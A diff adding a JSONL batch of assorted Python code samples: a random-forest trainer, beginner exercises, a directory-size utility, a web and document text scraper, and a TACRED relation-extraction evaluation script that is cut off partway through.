diff --git "a/4182.jsonl" "b/4182.jsonl" new file mode 100644--- /dev/null +++ "b/4182.jsonl" @@ -0,0 +1,658 @@ +{"seq_id":"34765797","text":"'''\nTraining AI using Random Forest Algorithm\n\n'''\n\nimport cv2\nimport argparse\nimport cPickle as pickle\nimport numpy as np\nfrom sklearn import preprocessing\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.ensemble import RandomForestClassifier\n\nimport timeit\n\ndef build_arg_parser():\n parser = argparse.ArgumentParser(description=\"Creates features for given images\")\n parser.add_argument(\"-featuremap\", dest='feature_map_file', required=True,\n help=\"Locate generated feature map format: -featuremap \")\n parser.add_argument(\"-file\", dest=\"rt_file\", required=False,\n help=\"Specify the path the svm file to be saved: -RandForestFile \")\n return parser\n\n\nclass Classify(object):\n def __init__(self, features, label, C=1, gamma=0.5, ): ### gamma = 0.5\n self.params = dict(max_depth=100,\n min_sample_count=1,\n use_surrogates=False,\n max_categories=5,\n calc_var_importance=False,\n nactive_vars=0,\n max_num_of_tree_in_the_forest=100,\n term_crit=(cv2.TERM_CRITERIA_MAX_ITER,100,1))\n self.le = preprocessing.LabelEncoder()\n self.le.fit(label)\n leLabels = np.array(self.le.transform(label), dtype=np.float32)\n features_train, features_test, labels_train, labels_test = train_test_split(features, leLabels, test_size=0.2, random_state=0)\n result = self.trainingForest(features_train, labels_train)\n create_report(features_train)\n self.crossValidation(result, features_test, labels_test)\n\n def trainingForest(self, features, label):\n features = np.array(features, dtype=np.float32)\n self.model = cv2.RTrees()\n self.model.train(features, cv2.CV_ROW_SAMPLE, label, params=self.params)\n self.model.save('trees.xml')\n\n\n def predict(self, features):\n labels_nums = self.model.predict(features)\n labels_words = self.le.inverse_transform([int(x) for x in labels_nums])\n return labels_words\n\n def crossValidation(self, model, features_test, labels_test):\n features_test = np.array(features_test, dtype=np.float32)\n predictionResult = []\n for item in features_test:\n res = self.model.predict(item)\n predictionResult.append(res)\n\n accuracy = (labels_test == predictionResult).mean()\n error = (labels_test != predictionResult).mean()\n\n print(\"Manual Accuracy Score: %.2f %%\" % (accuracy * 100))\n print(\"Error: %.2f %%\" % (error * 100))\n\n '''\n confusion = np.zeros((3, 3), np.int32)\n for i, j in zip(labels_test, predictionResult):\n confusion[i, j] += 1\n print 'confusion matrix:'\n print confusion\n '''\n return\n\ndef create_report(mat):\n with open('test.txt', 'w') as file:\n for item in mat:\n file.write(\"{}\\n\".format(item))\n print(\"Report Created\")\n return\n\n\nif __name__ == '__main__':\n start_time = timeit.default_timer()\n args = build_arg_parser().parse_args()\n feature_map_file = args.feature_map_file\n\n #svmfileName = args.svm_file\n\n with open(feature_map_file, 'r') as f:\n feature_map = pickle.load(f)\n\n features = []\n labels = []\n for item in feature_map:\n features.append(item['features'])\n labels.append(item['label'])\n\n forest = Classify(features, labels)\n\n\n\n print(\"The Random Forest trained classifier has been saved!\")\n elapsed = timeit.default_timer() - start_time\n print(\"Time Elapsed: \" + str(elapsed) + \" seconds\")\n","sub_path":"rftraining2.py","file_name":"rftraining2.py","file_ext":"py","file_size_in_byte":3756,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"362106023","text":"\"\"\"Funcao map faz o mapeamento dos valores para uma funcao\"\"\"\ndef calcula_area(x):\n area = x**2*3.14\n return area\nraios =[1,2,5,7,8,9,10]\nareas1 = []\nfor r in raios:\n areas1.append(calcula_area(r))\nareas2 = map(calcula_area,raios)\nprint(list(areas2))\nareas3 = map(lambda x:x**2*3.14,raios)\nprint(list(areas3))\n","sub_path":"10-Expressoes e funcoes integradas/60-Map.py","file_name":"60-Map.py","file_ext":"py","file_size_in_byte":319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"419789059","text":"# -*- coding: utf-8 -*-\n# __Author__: Sdite\n# __Email__ : a122691411@gmail.com\n\nimport os, sys\nimport threadpool\nfrom Option.Option import Option\nfrom FileInfo.FileInfoCatcher import FileInfoCatcher\n\nclass CalcDirSizeOption(Option):\n\n def __init__(self, toCalc):\n super().__init__()\n self.toCalc = toCalc\n\n def execute(self, obj):\n self.obj = obj\n self.fileInfoCatcher = FileInfoCatcher()\n if self.toCalc.lower() == 'true':\n for fullName in self.obj:\n if self.obj[fullName]['isDir']:\n FileInfoCatcher.calcDirThreadPool.putRequest(\n threadpool.makeRequests(\n self.fileInfoCatcher.calcSize,\n [\n (\n (fullName, self.obj),\n None\n ),\n ]\n )[0]\n )\n FileInfoCatcher.calcDirThreadPool.wait()\n\n elif self.toCalc.lower() == 'false':\n pass\n else:\n print('[Error] 错误参数:', self.toCalc)\n sys.exit(0)\n\n return self.obj\n\n\n","sub_path":"Option/CalcDirSizeOption.py","file_name":"CalcDirSizeOption.py","file_ext":"py","file_size_in_byte":1241,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"27822457","text":"'''\r\nCreated on Jun 2, 2016\r\n\r\n@author: pedrom\r\n'''\r\nfrom _socket import timeout\r\nimport functools\r\nimport multiprocessing.pool\r\nfrom os import listdir, makedirs, linesep\r\nfrom os import remove\r\nfrom os.path import isfile, join, exists\r\nimport subprocess\r\nimport sys\r\n\r\nfrom newspaper.article import Article\r\nimport requests\r\n\r\nfrom query.stats import is_video, get_url_type\r\nfrom scrape.txt.downloader import download_url_file\r\nfrom scrape.txt.slide_share import get_slide_share_pp\r\nfrom scrape.txt.youtube_cap import get_captions\r\nfrom utils.my_utils import is_good_lin\r\n\r\n\r\nno_txt_urls = []\r\ncache = None\r\n\r\ndef url_crawler(urlsDir, docTopTxtDir):\r\n global cache\r\n cache = build_cache(docTopTxtDir)\r\n for doc in listdir(urlsDir):\r\n docDir = join(docTopTxtDir, doc.split(\".\")[0])\r\n if not exists(docDir):\r\n makedirs(docDir)\r\n with open(join(urlsDir, doc)) as urlsDocFile:\r\n urls = urlsDocFile.readlines()\r\n urlDispatcher(urls, doc, docDir)\r\n \r\n with open(\"no_txt_url.txt\", \"w+\") as outF:\r\n for no_txt_url in no_txt_urls:\r\n outF.write(no_txt_url)\r\n\r\ndef urlDispatcher(urls, doc, docTxtDir):\r\n for url in urls:\r\n global cache\r\n url = url[:-1]\r\n docName = docTxtDir.split(\"\\\\\")[1]\r\n if docName in cache and url in cache[docName][\"urls\"]:\r\n continue\r\n urlType = get_url_type(url)\r\n '''\r\n if urlType == \"video\":\r\n print(\"New Video\")\r\n youtube_handler(url, doc, docTxtDir)\r\n \r\n if urlType == \"html\":\r\n try:\r\n html_handler(url, doc, docTxtDir)\r\n except Exception as e:\r\n print(str(e))\r\n print(\"Time out while parsing HTML\")\r\n print(\"writing dummy cache\")\r\n buildFile(join(docTxtDir, str(nextFileIndex(docTxtDir))+\".txt\"), \"\", url, \"html\")\r\n if urlType == \"pdf\":\r\n tmp_pdf = \"tmp.pdf\"\r\n try:\r\n download_url_file(url, tmp_pdf)\r\n except Exception as e:\r\n print(str(e))\r\n try:\r\n download_url_file(url, tmp_pdf)\r\n except Exception as e:\r\n print(str(e))\r\n print(\"Time out while downloading PDF\")\r\n print(\"writing dummy cache\")\r\n buildFile(join(docTxtDir, str(nextFileIndex(docTxtDir))+\".txt\"), \"\", url, \"html\")\r\n continue\r\n try:\r\n get_txt_tika(url, tmp_pdf, doc, docTxtDir)\r\n except Exception as e:\r\n print(str(e))\r\n print(\"Time out while parsing PDF\")\r\n print(\"writing dummy cache\")\r\n buildFile(join(docTxtDir, str(nextFileIndex(docTxtDir))+\".txt\"), \"\", url, \"html\")\r\n if urlType == \"ppt\":\r\n print(\"New PPT\")\r\n pp_handler(url, docTxtDir)\r\n '''\r\n if urlType == \"word\":\r\n print(\"New Word\")\r\n word_handler(url, docTxtDir)\r\n \r\n \r\n \r\ndef youtube_handler(youtube_url, doc, docTxtDir):\r\n if youtube_url.startswith(\"https://www.youtube.com/\") and not youtube_url.startswith(\"https://www.youtube.com/watch\"):\r\n return\r\n dirIndex = str(nextDirIndex(docTxtDir))\r\n cap_txt_dic = get_captions(youtube_url)\r\n if len(cap_txt_dic.keys()) == 0:\r\n no_txt_urls.append(youtube_url)\r\n return\r\n makedirs(join(docTxtDir, dirIndex))\r\n for cap_type in cap_txt_dic:\r\n cap_txt = cap_txt_dic[cap_type]\r\n if not cap_txt == None:\r\n buildFile(join(docTxtDir, dirIndex, cap_type+\".txt\"), cap_txt, youtube_url, cap_type)\r\n \r\ndef pp_handler(ppt_url, docTxtDir):\r\n print(\"Power Point %s\" % ppt_url)\r\n if ppt_url.startswith(\"http://www.slideshare\"):\r\n print(\"writing dummy cache\")\r\n buildFile(join(docTxtDir, str(nextFileIndex(docTxtDir))+\".txt\"), \"\", ppt_url, \"slideshare\")\r\n return\r\n #ppt_file_path = get_slide_share_pp(ppt_url)\r\n else:\r\n if ppt_url.endswith(\"pptx\"):\r\n ppt_file_path = \"tmp.pptx\"\r\n elif ppt_url.endswith(\"ppt\"):\r\n ppt_file_path = \"tmp.ppt\"\r\n try:\r\n download_url_file(ppt_url, ppt_file_path)\r\n except Exception as e:\r\n print(\"Power Point download time out\")\r\n return\r\n if ppt_file_path == None:\r\n return\r\n \r\n if ppt_file_path.endswith(\"pptx\") or ppt_file_path.endswith(\"ppt\"):\r\n ppt_txt = get_txt_tika(ppt_file_path)\r\n else:\r\n return\r\n buildFile(join(docTxtDir, str(nextFileIndex(docTxtDir))+\".txt\"), ppt_txt, ppt_url, \"ppt\")\r\n remove(ppt_file_path)\r\n \r\ndef word_handler(word_url, docTxtDir):\r\n print(\"Word %s\" % word_url)\r\n word_file_path = \"tmp.doc\"\r\n try:\r\n download_url_file(word_url, word_file_path)\r\n except Exception as e:\r\n print(\"Word download time out\")\r\n return\r\n word_txt = get_txt_tika(word_file_path)\r\n buildFile(join(docTxtDir, str(nextFileIndex(docTxtDir))+\".txt\"), word_txt, word_url, \"word\")\r\n remove(word_file_path)\r\n \r\ndef timeout(max_timeout):\r\n \"\"\"Timeout decorator, parameter in seconds.\"\"\"\r\n def timeout_decorator(item):\r\n \"\"\"Wrap the original function.\"\"\"\r\n @functools.wraps(item)\r\n def func_wrapper(*args, **kwargs):\r\n \"\"\"Closure for function.\"\"\"\r\n pool = multiprocessing.pool.ThreadPool(processes=1)\r\n async_result = pool.apply_async(item, args, kwargs)\r\n # raises a TimeoutError if execution exceeds max_timeout\r\n res = async_result.get(max_timeout)\r\n async_result.wait()\r\n return res\r\n return func_wrapper\r\n return timeout_decorator \r\n\r\ndef html_handler(html_url, doc, docTxtDir):\r\n print(html_url)\r\n article = Article(html_url, fetch_images=False, MAX_FILE_MEMO=1000)\r\n try:\r\n article.download()\r\n except Exception as e:\r\n print(\"article.download timeout\")\r\n try:\r\n article.download()\r\n except Exception as e:\r\n print(\"writing dummy cache\")\r\n buildFile(join(docTxtDir, str(nextFileIndex(docTxtDir))+\".txt\"), \"\", html_url, \"html\")\r\n return\r\n txt = \"\"\r\n if not article.html == \"\":\r\n try:\r\n article.parse()\r\n txt = article.text\r\n except Exception as e:\r\n print(\"article.parse timeout\")\r\n print(\"writing dummy cache\")\r\n buildFile(join(docTxtDir, str(nextFileIndex(docTxtDir))+\".txt\"), \"\", html_url, \"html\")\r\n return\r\n txt = \"\".join([s for s in txt.splitlines(True) if s.strip(\"\\r\\n\")])\r\n buildFile(join(docTxtDir, str(nextFileIndex(docTxtDir))+\".txt\"), txt, html_url, \"html\")\r\n \r\ndef get_txt_tika(file_path):\r\n command = \"java -jar C:\\\\Users\\\\pedrom\\\\workspace\\\\GoogleScraper\\\\tika-app-1.13.jar --encoding=utf8 -t \" + file_path + \" > temp_doc.txt\"\r\n p = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)\r\n result = \"\"\r\n for line in p.stdout.readlines():\r\n result += str(line)\r\n retval = p.wait()\r\n final_txt = \"\"\r\n with open(\"temp_doc.txt\", encoding=\"utf8\") as ppFile:\r\n txt = ppFile.read()\r\n lins = [s for s in txt.splitlines(True) if s.strip(\"\\r\\n\")]\r\n for lin in lins:\r\n lin = lin.strip()\r\n if is_good_lin(lin):\r\n final_txt += lin + \"\\n\"\r\n return final_txt\r\n \r\ndef nextDirIndex(docTxtDir):\r\n onlyDirs = [int(f) for f in listdir(docTxtDir) if not isfile(join(docTxtDir, f))]\r\n if len(onlyDirs) == 0:\r\n return 0\r\n onlyDirs = sorted(onlyDirs)\r\n return onlyDirs[-1] + 1\r\n\r\ndef nextFileIndex(docTxtDir):\r\n print(docTxtDir)\r\n onlyFiles = [int(f[:-4]) for f in listdir(docTxtDir) if isfile(join(docTxtDir, f))]\r\n if len(onlyFiles) == 0:\r\n return 0\r\n onlyFiles = sorted(onlyFiles)\r\n return onlyFiles[-1] + 1\r\n\r\ndef buildFile(filePath, txt, url, desc):\r\n with open(filePath, \"w+\", encoding=\"utf8\") as f:\r\n f.write(url + \"\\n\")\r\n f.write(\"#\" + desc + \"\\n\")\r\n f.write(txt)\r\n \r\ndef build_cache(docTopTxtDir):\r\n cache = {}\r\n for docDir in listdir(docTopTxtDir):\r\n urls_to_cache = []\r\n for doc in listdir(join(docTopTxtDir, docDir)):\r\n if isfile(join(docTopTxtDir, docDir, doc)):\r\n with open(join(docTopTxtDir, docDir, doc), errors='ignore') as f:\r\n urls_to_cache.append(f.readline()[:-1])\r\n else:\r\n for video_f in listdir(join(docTopTxtDir, docDir, doc)):\r\n with open(join(docTopTxtDir, docDir, doc, video_f), errors='ignore') as f:\r\n urls_to_cache.append(f.readline()[:-1])\r\n cache[docDir] = {\"urls\" : urls_to_cache}\r\n return cache ","sub_path":"scrape/txt/doc_scraper.py","file_name":"doc_scraper.py","file_ext":"py","file_size_in_byte":8960,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"390294085","text":"number = int(input())\n\nfor num in range(1, number + 1):\n total = 0\n num_as_string = str(num)\n for i in num_as_string:\n\n total += int(i)\n if total == 5 or total == 7 or total == 11:\n print(f'{num} -> True')\n else:\n print(f'{num} -> False')\n","sub_path":"Datatypes/specialnumbers.py","file_name":"specialnumbers.py","file_ext":"py","file_size_in_byte":275,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"274214177","text":"from .frenchdeck import FrenchDeck\nfrom random import choice\nfrom .vector2d import Vector\n\n# FRENCH DECK EXAMPLE #\n\ndeck = FrenchDeck()\nlen(deck) # 52\n\n# You don't need to implement a method to pick a random card because python has one\n# It utilizes the __getitem__ special method\nchoice(deck)\n\n# Slicing and other list methods use __getitem__ as well, so no need to implement anything\naces = deck[12::13]\n\n# Rank cards\nsuit_values = dict(spades=3, hearts=2, diamonds=1, clubs=0)\n\ndef spades_high(card):\n rank_value = FrenchDeck.ranks.index(card.rank)\n return rank_value * len(suit_values) + suit_values[card.suit]\n\nfor card in sorted(deck, key=spades_high):\n print(card)\n\n\n# Right now, this deck cannot be shuffled because it is immutable\n# Need to implement __setitem__ for shuffling\n\n\n# VECTOR EXAMPLE\nv1 = Vector(2, 4)\nv2 = Vector(2, 1)\nv1 + v2\n\nv = Vector(3, 4)\nabs(v)\n\nv * 3\nabs(v * 3)","sub_path":"01-data-model/notes.py","file_name":"notes.py","file_ext":"py","file_size_in_byte":902,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"197823403","text":"import json\nimport re\nimport string\nfrom collections import defaultdict\nfrom sklearn.metrics import classification_report\nfrom collections import Counter, defaultdict\nfrom sklearn.metrics import accuracy_score\n\n\nALL_RELATIONS_TYPES = {'per:title': {('PERSON', 'TITLE')}, 'org:top_members/employees': {('ORGANIZATION', 'PERSON')},\n 'org:country_of_headquarters': {('ORGANIZATION', 'COUNTRY'), ('ORGANIZATION', 'LOCATION')},\n 'per:parents': {('PERSON', 'PERSON')}, 'per:age': {('PERSON', 'NUMBER'), ('PERSON', 'DURATION')},\n 'per:countries_of_residence': {('PERSON', 'COUNTRY'), ('PERSON', 'NATIONALITY'), ('PERSON', 'LOCATION')},\n 'per:children': {('PERSON', 'PERSON')}, 'org:alternate_names': {('ORGANIZATION', 'MISC'), ('ORGANIZATION', 'ORGANIZATION')},\n 'per:charges': {('PERSON', 'CRIMINAL_CHARGE')}, 'per:cities_of_residence': {('PERSON', 'CITY'), ('PERSON', 'LOCATION')},\n 'per:origin': {('PERSON', 'COUNTRY'), ('PERSON', 'NATIONALITY')}, 'org:founded_by': {('ORGANIZATION', 'PERSON')},\n 'per:employee_of': {('PERSON', 'ORGANIZATION'), ('PERSON', 'LOCATION')}, 'per:siblings': {('PERSON', 'PERSON')},\n 'per:alternate_names': {('PERSON', 'MISC'), ('PERSON', 'PERSON')}, 'org:website': {('ORGANIZATION', 'URL')},\n 'per:religion': {('PERSON', 'RELIGION')}, 'per:stateorprovince_of_death': {('PERSON', 'STATE_OR_PROVINCE'), ('PERSON', 'LOCATION')},\n 'org:parents': {('ORGANIZATION', 'ORGANIZATION'), ('ORGANIZATION', 'COUNTRY'), ('ORGANIZATION', 'LOCATION')},\n 'org:subsidiaries': {('ORGANIZATION', 'ORGANIZATION'), ('ORGANIZATION', 'LOCATION')}, 'per:other_family': {('PERSON', 'PERSON')},\n 'per:stateorprovinces_of_residence': {('PERSON', 'STATE_OR_PROVINCE'), ('PERSON', 'LOCATION')},\n 'org:members': {('ORGANIZATION', 'ORGANIZATION'), ('ORGANIZATION', 'COUNTRY')}, 'per:cause_of_death': {('PERSON', 'CAUSE_OF_DEATH')},\n 'org:member_of': {('ORGANIZATION', 'ORGANIZATION'), ('ORGANIZATION', 'COUNTRY'), ('ORGANIZATION', 'LOCATION')},\n 'org:number_of_employees/members': {('ORGANIZATION', 'NUMBER')}, 'per:country_of_birth': {('PERSON', 'COUNTRY'), ('PERSON', 'NATIONALITY')},\n 'org:shareholders': {('ORGANIZATION', 'ORGANIZATION'), ('ORGANIZATION', 'PERSON')},\n 'org:stateorprovince_of_headquarters': {('ORGANIZATION', 'STATE_OR_PROVINCE'), ('ORGANIZATION', 'LOCATION')},\n 'per:city_of_death': {('PERSON', 'CITY'), ('PERSON', 'LOCATION')}, 'per:date_of_birth': {('PERSON', 'DATE')}, 'per:spouse': {('PERSON', 'PERSON')},\n 'org:city_of_headquarters': {('ORGANIZATION', 'CITY'), ('ORGANIZATION', 'LOCATION')}, 'per:date_of_death': {('PERSON', 'DATE')},\n 'per:schools_attended': {('PERSON', 'ORGANIZATION')}, 'org:political/religious_affiliation': {('ORGANIZATION', 'RELIGION')},\n 'per:country_of_death': {('PERSON', 'COUNTRY')}, 'org:founded': {('ORGANIZATION', 'DATE')}, 'per:stateorprovince_of_birth': {('PERSON', 'STATE_OR_PROVINCE')},\n 'per:city_of_birth': {('PERSON', 'CITY')}, 'org:dissolved': {('ORGANIZATION', 'DATE')}}\n\nclass RelData:\n def __init__(self):\n self.true_number = 0\n self.algo_pos = 0\n self.algo_correct = 0\n\n def recall(self):\n if self.true_number == 0:\n return 1\n else:\n return self.algo_correct / self.true_number\n\n def precision(self):\n if self.algo_pos == 0:\n return 1\n else:\n return self.algo_correct / self.algo_pos\n\n def f1(self):\n p = self.precision()\n r = self.recall()\n if p == 0 and r == 0:\n return 0\n return 2 * ((p * r) / (p + r))\n\ndef normalize_answer(s):\n\n def remove_articles(text):\n regex = re.compile(r'\\b(a|an|the)\\b', re.UNICODE)\n return re.sub(regex, ' ', text)\n\n def white_space_fix(text):\n return ' '.join(text.split())\n\n def remove_punc(text):\n exclude = set(string.punctuation)\n return ''.join(ch for ch in text if ch not in exclude)\n\n def lower(text):\n return text.lower()\n return white_space_fix(remove_articles(remove_punc(lower(s))))\n\ndef validate_strings(s1, s2): # see if one string is contained in the other\n s1 = normalize_answer(s1)\n s2 = normalize_answer(s2)\n return s1 in s2 or s2 in s1\n\n\ndef get_rel(q, subj, obj):\n p1 = preds[q['id']]\n if p1 and (validate_strings(p1, subj) or validate_strings(p1, obj)):\n return q['rel']\n else:\n return None\n\n\ndef eval_na(qas, subj, obj, na_probs):\n qas = sorted(qas, key=lambda x: x['id'])\n pred_rels = []\n for i in range(0, len(qas), 2):\n q1 = qas[i]\n q2 = qas[i + 1]\n # if get_rel(q1, subj, obj) and get_rel(q1, subj, obj) == get_rel(q2, subj, obj):\n # pred_rels.append(get_rel(q1, subj, obj))\n pred_rels.append((get_rel(q1, subj, obj), na_probs[q1['id']]))\n pred_rels.append((get_rel(q2, subj, obj), na_probs[q2['id']]))\n l = list(dict.fromkeys([x for x in pred_rels if x[0]]))\n if not l:\n return []\n l = sorted(l, key=lambda x: x[1])\n return [l[0][0]]\n\ndef eval_group(qas, subj, obj):\n qas = sorted(qas, key=lambda x: x['id'])\n pred_rels = []\n for i in range(0, len(qas), 2):\n q1 = qas[i]\n q2 = qas[i + 1]\n # if get_rel(q1, subj, obj) and get_rel(q1, subj, obj) == get_rel(q2, subj, obj):\n # pred_rels.append(get_rel(q1, subj, obj))\n pred_rels.append(get_rel(q1, subj, obj))\n pred_rels.append(get_rel(q2, subj, obj))\n l = list(dict.fromkeys([x for x in pred_rels if x]))\n if l:\n return [l[0]]\n return []\n\ndef eval_single(qas, rels):\n for qa in qas:\n pred = preds[qa['id']]\n # if qa['is_impossible']:\n # continue\n if pred == '' and qa['is_impossible']:\n continue\n if pred != '' and qa['is_impossible']:\n rels[qa['rel']].algo_pos += 1\n rels[all_rel].algo_pos += 1\n continue\n\n if pred == '' and not qa['is_impossible']:\n rels[qa['rel']].true_number += 1\n rels[all_rel].true_number += 1\n continue\n\n if validate_strings(pred, qa['answers'][0][\n 'text']): # pred.lower() == qa['answers'][0]['text'].lower(): # this is good only for the tacred version - we assume single question\n rels[qa['rel']].true_number += 1\n rels[qa['rel']].algo_pos += 1\n rels[qa['rel']].algo_correct += 1\n rels[all_rel].true_number += 1\n rels[all_rel].algo_pos += 1\n rels[all_rel].algo_correct += 1\n continue\n\n if not pred:\n rels[qa['rel']].true_number += 1\n rels[qa['rel']].algo_pos += 1\n rels[all_rel].true_number += 1\n rels[all_rel].algo_pos += 1\n continue\n\n else:\n rels[qa['rel']].true_number += 1\n rels[qa['rel']].algo_pos += 1\n rels[all_rel].true_number += 1\n rels[all_rel].algo_pos += 1\n continue\n\ncount_pred_maked_na = 0\n\ndef trim_preds(preds, na_probs, thresh):\n global count_pred_maked_na\n for k in preds:\n # print(na_probs[k], thresh)\n if na_probs[k] > thresh:\n count_pred_maked_na += 1\n # print(\"sfsdfdsdf\")\n preds[k] = ''\n return preds\n\n\ndef compute_f1(preds, labels):\n n_gold = n_pred = n_correct = 0\n for pred, label in zip(preds, labels):\n if pred != 'NA':\n n_pred += 1\n if label != 'NA':\n n_gold += 1\n if (pred != 'NA') and (label != 'NA') and (pred == label):\n n_correct += 1\n if n_correct == 0:\n return {'precision': 0.0, 'recall': 0.0, 'f1': 0.0}\n else:\n prec = n_correct * 1.0 / n_pred\n recall = n_correct * 1.0 / n_gold\n if prec + recall > 0:\n f1 = 2.0 * prec * recall / (prec + recall)\n else:\n f1 = 0.0\n return {'precision': prec, 'recall': recall, 'f1': f1}\n\nif __name__ == '__main__':\n\n with open('gold_annotations.json') as json_file:\n challenge_samples = json.load(json_file)\n\n\n # gold_path = 'tac_test_amir.json'\n # pred_path = 'predictions_amir.json'\n # na_probs_path = 'na_probs_amir.json'\n\n gold_path = 'tac_test_amir.json'\n\n pred_path = '/home/nlp/sharos/span_bert/SpanBERT/7squad_trans_new_load_model/transformers/out_all_amir/predictions_tac_test_amir.json'\n na_probs_path = '/home/nlp/sharos/span_bert/SpanBERT/7squad_trans_new_load_model/transformers/out_all_amir/null_odds_tac_test_amir.json'\n\n # pred_path = '/home/nlp/sharos/span_bert/SpanBERT/7squad_trans_new_load_model/transformers/out_all_amir_albert/predictions_tac_test_amir.json'\n # na_probs_path = '/home/nlp/sharos/span_bert/SpanBERT/7squad_trans_new_load_model/transformers/out_all_amir_albert/null_odds_tac_test_amir.json'\n\n # pred_path = '/home/nlp/sharos/span_bert/SpanBERT/SpanBERT/model_squad2/squad2/predictions.json'\n # na_probs_path = '/home/nlp/sharos/span_bert/SpanBERT/SpanBERT/model_squad2/squad2/na_probs.json'\n\n\n with open(\"../span_bert/SpanBERT/SpanBERT/out_tacred/tacred/predictions.txt\", 'r') as f:\n annotated_date_tacred = f.readlines()\n\n tacred_gold = {}\n for l in annotated_date_tacred:\n line_split = l.split()\n tacred_gold[line_split[0]] = line_split[1]\n\n\n with open(gold_path, 'r') as f:\n gold = json.load(f)\n gold = gold['data']\n\n with open(pred_path, 'r') as f:\n preds = json.load(f)\n\n with open(na_probs_path, 'r') as f:\n na_probs = json.load(f)\n\n\n\n\n\n # for idd in preds:\n # if preds[idd] != preds2[idd]:\n # if not preds[idd]:\n # print(\"NNNNNAAAAA\", preds2[idd])\n # else:\n # print(\"AFSDF\",preds[idd], preds2[idd])\n # print()\n\n # thresh = -1.530 # train\n # thresh = -2.5 #dev\n thresh = -3.0\n # test\n preds = trim_preds(preds, na_probs, thresh)\n\n rels = defaultdict(RelData)\n\n all_rel = 'all_rel'\n counter = 0\n total = 0\n\n y_true_old = []\n y_pred_old = []\n y_pred_re_model = []\n y_pred_union = []\n\n y_dic_pred = {}\n\n for r in gold:\n title = r['title']\n # if title != 'no_relation':\n # rels[all_rel].true_number += 2\n # rels[title].true_number += 2\n p = r['paragraphs'][0]\n # print(p)\n # if len(p[\"qas\"]) > 0:\n # print(p[\"qas\"][0][\"id_rel\"])\n eval_single(p['qas'], rels)\n\n if title != 'no_relation':\n rels[title].true_number += 1\n rels[all_rel].true_number += 1\n pred_rels = eval_group(p['qas'], p['subj'], p['obj'])\n\n y_true_old.append(title)\n if pred_rels == []:\n y_pred_old.append('no_relation')\n if p[\"qas\"] == []:\n continue\n # print(\"AAAAA\")\n # print()\n # print(p)\n # print(p[\"qas\"])\n # print()\n y_dic_pred[p[\"qas\"][0][\"id_rel\"]] = ['no_relation']\n else:\n y_pred_old.append(pred_rels[0])\n y_dic_pred[p[\"qas\"][0][\"id_rel\"]] = pred_rels.copy()\n\n if len(y_dic_pred[p[\"qas\"][0][\"id_rel\"]]) != 1:\n print(\"GGGGGG\"[43242])\n print(y_dic_pred[p[\"qas\"][0][\"id_rel\"]])\n\n\n # if p[\"qas\"][0][\"id_rel\"] == \"098f6fb926448e5c9f0f\":\n # print(\"QQQQQ\")\n # print(y_dic_pred[\"098f6fb926448e5c9f0f\"])\n #\n # if \"098f6fb926448e5c9f0f\" in y_dic_pred:\n # print(\"QAQAQAQAQA\")\n # print(y_dic_pred[\"098f6fb926448e5c9f0f\"])\n\n\n if len(p[\"qas\"]) > 0:\n y_pred_re_model.append(tacred_gold[p[\"qas\"][0][\"id_rel\"]])\n else:\n y_pred_re_model.append('no_relation')\n\n\n if len(pred_rels) >= 2:\n counter += 1\n # pred_rels = eval_na(p['qas'], p['subj'], p['obj'], na_probs)\n if title in pred_rels:\n rels[title].algo_pos += 1\n rels[title].algo_correct += 1\n rels[all_rel].algo_pos += 1\n rels[all_rel].algo_correct += 1\n pred_rels.remove(title)\n for cur_rel in pred_rels:\n rels[cur_rel].algo_pos += 1\n rels[all_rel].algo_pos += 1\n if len(pred_rels) >= 2:\n counter += 1\n total+=1\n for rel, values in rels.items():\n print('{}: p: {}, r:{}, f1:{}'.format(rel, values.precision(), values.recall(), values.f1()))\n\n\n\n\n\n\n\n with open(\"../span_bert/SpanBERT/LDC2018T24/tacred/data/json/test.json\") as tacred_test_file:\n tacred_real_samples = json.load(tacred_test_file)\n\n\n print('098f6fb926448e5c9f0f', y_dic_pred['098f6fb926448e5c9f0f'])\n TOY_Y_PRED = []\n TOY_Y_TRUE = []\n for samp in tacred_real_samples:\n if samp[\"id\"] in y_dic_pred:\n\n if samp[\"relation\"] != \"no_relation\":\n print(samp[\"relation\"], y_dic_pred[samp[\"id\"]])\n print(\"Fdfgsdfg\")\n xx = samp[\"id\"]\n yy = y_dic_pred[samp[\"id\"]]\n print()\n\n\n TOY_Y_TRUE.append(\"NA\" if samp[\"relation\"] == \"no_relation\" else samp[\"relation\"])\n if samp[\"relation\"] in y_dic_pred[samp[\"id\"]]:\n TOY_Y_PRED.append(samp[\"relation\"])\n\n else:\n TOY_Y_PRED.append(\"NA\")\n\n\n\n\n\n\n\n NA = \"NA\"\n\n\n y_true = []\n y_pred = []\n\n y_true__by_rel = {}\n y_pred_by_rel = {}\n\n y_true_total = []\n y_pred_total = []\n\n person_org_no_rel = 0\n things_to_plot = {}\n\n count_no_rel = 0\n\n count_true_ia_neg_but_pred_is_rel = 0\n total_count_more_than_one_rel = 0\n\n sent_of_sentences_concat_rel = set()\n\n for rel in ALL_RELATIONS_TYPES:\n if rel == 'org:founded_by':\n print(rel)\n\n y_true__by_rel[rel] = []\n y_pred_by_rel[rel] = []\n\n dic_of_set2rel = {}\n\n for samp in tacred_real_samples:\n\n if (samp['subj_type'], samp['obj_type']) not in ALL_RELATIONS_TYPES[rel]:\n continue\n\n curr_sent_tup = tuple(samp['token'] + [samp['subj_type'] + samp['obj_type'] + rel])\n sent_of_sentences_concat_rel.add(curr_sent_tup)\n\n if curr_sent_tup not in dic_of_set2rel:\n dic_of_set2rel[curr_sent_tup] = set()\n\n dic_of_set2rel[curr_sent_tup].add(samp['relation'])\n\n if samp['relation'] == rel:\n y_true__by_rel[rel].append(rel)\n aa = rel\n # dic_of_set2rel[curr_sent_tup].add(rel)\n else:\n y_true__by_rel[rel].append(NA)\n aa = NA\n # dic_of_set2rel[curr_sent_tup].add(NA)\n\n if rel in y_dic_pred[samp['id']]:\n y_pred_by_rel[rel].append(rel)\n bb = rel\n # 